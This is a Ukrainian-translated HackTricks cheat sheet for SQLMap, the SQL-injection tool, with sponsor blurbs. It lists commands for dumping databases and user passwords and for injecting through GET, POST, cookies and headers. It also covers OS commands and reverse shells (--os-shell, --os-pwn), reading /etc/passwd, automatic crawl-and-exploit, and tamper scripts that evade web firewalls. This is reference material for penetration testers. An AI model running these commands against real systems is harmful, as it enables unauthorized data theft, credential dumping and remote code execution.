hacktricks/pentesting-web/sql-injection/sqlmap
2024-07-29 09:28:18 +00:00
..
README.md Translated ['README.md', 'network-services-pentesting/512-pentesting-rex 2024-07-29 09:28:18 +00:00
second-order-injection-sqlmap.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00

SQLMap - Чеклист

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Миттєво доступна установка для оцінки вразливостей та тестування на проникнення. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та отримання задоволення.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Основні аргументи для SQLmap

Загальні

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Отримати інформацію

Внутрішній

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Дані БД

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Захопіть запит і створіть файл req.txt

sqlmap -r req.txt --current-user

Впровадження GET запиту

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Ін'єкція POST запиту

sqlmap -u "http://example.com" --data "username=*&password=*"

Ін'єкції в заголовках та інших HTTP методах

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Вкажіть рядок, коли ін'єкція успішна

--string="string_showed_when_TRUE"

Eval

Sqlmap дозволяє використовувати -e або --eval, щоб обробити кожен payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у власний спосіб перед його відправкою. У наступному прикладі flask cookie session підписується flask з відомим секретом перед його відправкою:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Прочитати файл

--file-read=/etc/passwd

Обходити веб-сайт за допомогою SQLmap та автоматично експлуатувати

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Вторинна ін'єкція

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Прочитайте цей пост про те, як виконувати прості та складні вторинні ін'єкції за допомогою sqlmap.

Налаштування ін'єкції

Встановити суфікс

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Префікс

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Допомога у знаходженні булевої ін'єкції

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Пам'ятайте, що ви можете створити свій власний tamper на python і це дуже просто. Ви можете знайти приклад tamper на сторінці Другого Порядку Впровадження тут.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Description
apostrophemask.py Замінює символ апострофа на його повноширокий UTF-8 аналог
apostrophenullencode.py Замінює символ апострофа на його незаконний подвійний юнікодний аналог
appendnullbyte.py Додає закодований символ NULL байта в кінець корисного навантаження
base64encode.py Кодує всі символи в заданому корисному навантаженні в Base64
between.py Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #'
bluecoat.py Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE
chardoubleencode.py Подвійно URL-кодує всі символи в заданому корисному навантаженні (не обробляючи вже закодовані)
commalesslimit.py Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M'
commalessmid.py Замінює випадки на кшталт 'MID(A, B, C)' на 'MID(A FROM B FOR C)'
concat2concatws.py Замінює випадки на кшталт 'CONCAT(A, B)' на 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py URL-кодує всі символи в заданому корисному навантаженні (не обробляючи вже закодовані)
charunicodeencode.py Юнікод-URL-кодує не закодовані символи в заданому корисному навантаженні (не обробляючи вже закодовані). "%u0022"
charunicodeescape.py Юнікод-URL-кодує не закодовані символи в заданому корисному навантаженні (не обробляючи вже закодовані). "\u0022"
equaltolike.py Замінює всі випадки оператора рівності ('=') на оператор 'LIKE'
escapequotes.py Екранує лапки (' і ")
greatest.py Замінює оператор більше ніж ('>') на його аналог 'GREATEST'
halfversionedmorekeywords.py Додає версійний коментар MySQL перед кожним ключовим словом
ifnull2ifisnull.py Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Обгортає повний запит версійним коментарем
modsecurityzeroversioned.py Обгортає повний запит коментарем з нульовою версією
multiplespaces.py Додає кілька пробілів навколо SQL ключових слів
nonrecursivereplacement.py Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри
percentage.py Додає знак відсотка ('%') перед кожним символом
overlongutf8.py Перетворює всі символи в заданому корисному навантаженні (не обробляючи вже закодовані)
randomcase.py Замінює кожен символ ключового слова на випадкове значення регістру
randomcomments.py Додає випадкові коментарі до SQL ключових слів
securesphere.py Додає спеціально підготовлений рядок
sp_password.py Додає 'sp_password' в кінець корисного навантаження для автоматичного затемнення з журналів DBMS
space2comment.py Замінює символ пробілу (' ') на коментарі
space2dash.py Замінює символ пробілу (' ') на коментар з дефісом ('--'), за яким слідує випадковий рядок і новий рядок ('\n')
space2hash.py Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n')
space2morehash.py Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n')
space2mssqlblank.py Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів
space2mssqlhash.py Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує новий рядок ('\n')
space2mysqlblank.py Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів
space2mysqldash.py Замінює символ пробілу (' ') на коментар з дефісом ('--'), за яким слідує новий рядок ('\n')
space2plus.py Замінює символ пробілу (' ') на плюс ('+')
space2randomblank.py Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів
symboliclogical.py Замінює логічні оператори AND і OR на їх символічні аналоги (&& і
unionalltounion.py Замінює UNION ALL SELECT на UNION SELECT
unmagicquotes.py Замінює символ лапки (') на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці (щоб це працювало)
uppercase.py Замінює кожен символ ключового слова на верхній регістр 'INSERT'
varnish.py Додає HTTP заголовок 'X-originating-IP'
versionedkeywords.py Обгортає кожне не функціональне ключове слово версійним коментарем
versionedmorekeywords.py Обгортає кожне ключове слово версійним коментарем
xforwardedfor.py Додає фальшивий HTTP заголовок 'X-Forwarded-For'

Миттєво доступна установка для оцінки вразливостей та пентестингу. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо спеціальні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу до оболонок та отримання задоволення.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Вчіться та практикуйте Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks
{% endhint %}